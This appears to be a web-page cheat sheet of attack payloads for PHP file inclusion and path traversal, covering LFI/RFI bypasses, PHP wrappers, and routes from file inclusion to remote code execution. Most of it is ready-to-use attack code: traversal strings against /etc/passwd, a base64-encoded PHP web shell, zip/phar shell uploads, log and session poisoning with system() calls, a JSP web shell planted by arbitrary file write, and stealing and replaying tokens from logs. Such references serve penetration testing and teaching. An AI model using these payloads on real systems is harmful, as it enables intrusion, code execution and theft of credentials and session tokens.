Skip to main content
Remote File Inclusion (RFI): The file is loaded from a remote server, potentially allowing code execution. Local File Inclusion (LFI): The server loads a local file based on user-controlled input. Vulnerable PHP functions: require, require_once, include, include_once

Basic LFI

http://example.com/index.php?page=../../../etc/passwd

Common LFI Parameters

?cat=
?dir=
?action=
?file=
?download=
?path=
?folder=
?page=
?inc=
?view=
?content=
?layout=

LFI Bypass Techniques

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/.....\/.....\/../etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c../etc/passwd

PHP Wrappers for LFI/RFI

# Read file as base64
php://filter/convert.base64-encode/resource=/etc/passwd

# Chain filters
php://filter/read=string.toupper|string.rot13|string.tolower/resource=/etc/passwd

# Compress + base64
php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

# Convert encoding
php://filter/convert.iconv.utf-8.utf-16le/resource=/etc/passwd
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
Restricted by allow_url_include setting
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
Requires the expect PHP extension to be loaded.
Upload a ZIP file with a PHP shell, then access it:
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php
zip payload.zip payload.php
# Access: ?page=phar://shell.jpg%23payload.php
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php
zip payload.zip payload.php
mv payload.zip shell.jpg
# Access: ?page=zip://shell.jpg%23payload.php
curl -XPOST "http://example.com/?page=php://input" --data "<?php system('id'); ?>"

HTML-to-PDF Path Traversal

Modern HTML-to-PDF engines (TCPDF, html2pdf) parse attacker-provided HTML with filesystem access:
# Inline SVG payload (fingerprint Producer field first)
<img src="data:image/svg+xml;base64,[BASE64_SVG_WITH_XLINK_HREF_TO_LOCAL_FILE]" />

# Bypass naive filter (TCPDF ≤ 6.8.2 only checks for '../' before decoding)
src="..%2f..%2fetc%2fpasswd"

# Double-encode for multi-stage decoding
src="..%252f..%252fetc%252fpasswd"
Fingerprint the renderer: every generated PDF contains a Producer field (e.g. TCPDF 6.8.2). Older versions have path filter vulnerabilities.

LFI to RCE Techniques

1

Via Log File Poisoning

Inject a PHP shell into Apache/Nginx access logs via User-Agent, then include the log:
# Poison the log
curl -A '<?php system($_GET["c"]); ?>' http://target.com/

# Include via LFI
?page=/var/log/apache2/access.log&c=id
Common log paths:
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/httpd/error_log
2

Via PHP Session

# Set cookie: PHPSESSID=sessionid
# Poison session: login parameter = <?php system('id'); ?>
login=1&user=<?php system("id");?>&pass=password&lang=en_us.php

# Include session file
?page=/../../../../../var/lib/php5/sess_sessionid
3

Via /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
4

Via PHP Filters (No File Needed)

Use PHP filter chains to generate arbitrary PHP code without writing to disk. See php_filter_chain_generator.
5

Via phpinfo() (file_uploads=on)

If phpinfo() is accessible with file_uploads=on, exploit the race condition between temp file creation and cleanup.
6

Via Nginx Temp Files

If Nginx is running in front of PHP with LFI, abuse Nginx temp file storage to achieve RCE.

PHP Blind Path Traversal (Error Oracle)

Useful when you control a file path in a PHP function but don’t see the file contents. Exploit using the UCS-4LE encoding trick to exfiltrate file contents char by char via error oracle.
Vulnerable functions: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, file

Arbitrary File Write via Path Traversal

When an upload handler builds a destination path from user-controlled data without canonicalizing:
<!-- Example JMF-style arbitrary write -->
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks">
  <Command Type="SubmitQueueEntry">
    <Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
    <Data><![CDATA[
      <%@ page import="java.io.*" %>
      <% String c = request.getParameter("cmd"); if (c!=null) { Process p=Runtime.getRuntime().exec(c); } %>
    ]]></Data>
  </Command>
</JMF>

Token Harvest from Access Logs

If an app accepts session/auth tokens via GET (e.g., ?AuthenticationToken=), read access logs via LFI to steal tokens:
GET /vuln/asset?name=..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Then replay captured token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1

curl —path-as-is for Path Traversal

# Prevent curl from normalizing ../ sequences
curl --path-as-is -b "session=$SESSION" \
  "http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
  --ignore-content-length -s | tr '\000' '\n'

Resources

Build docs developers (and LLMs) love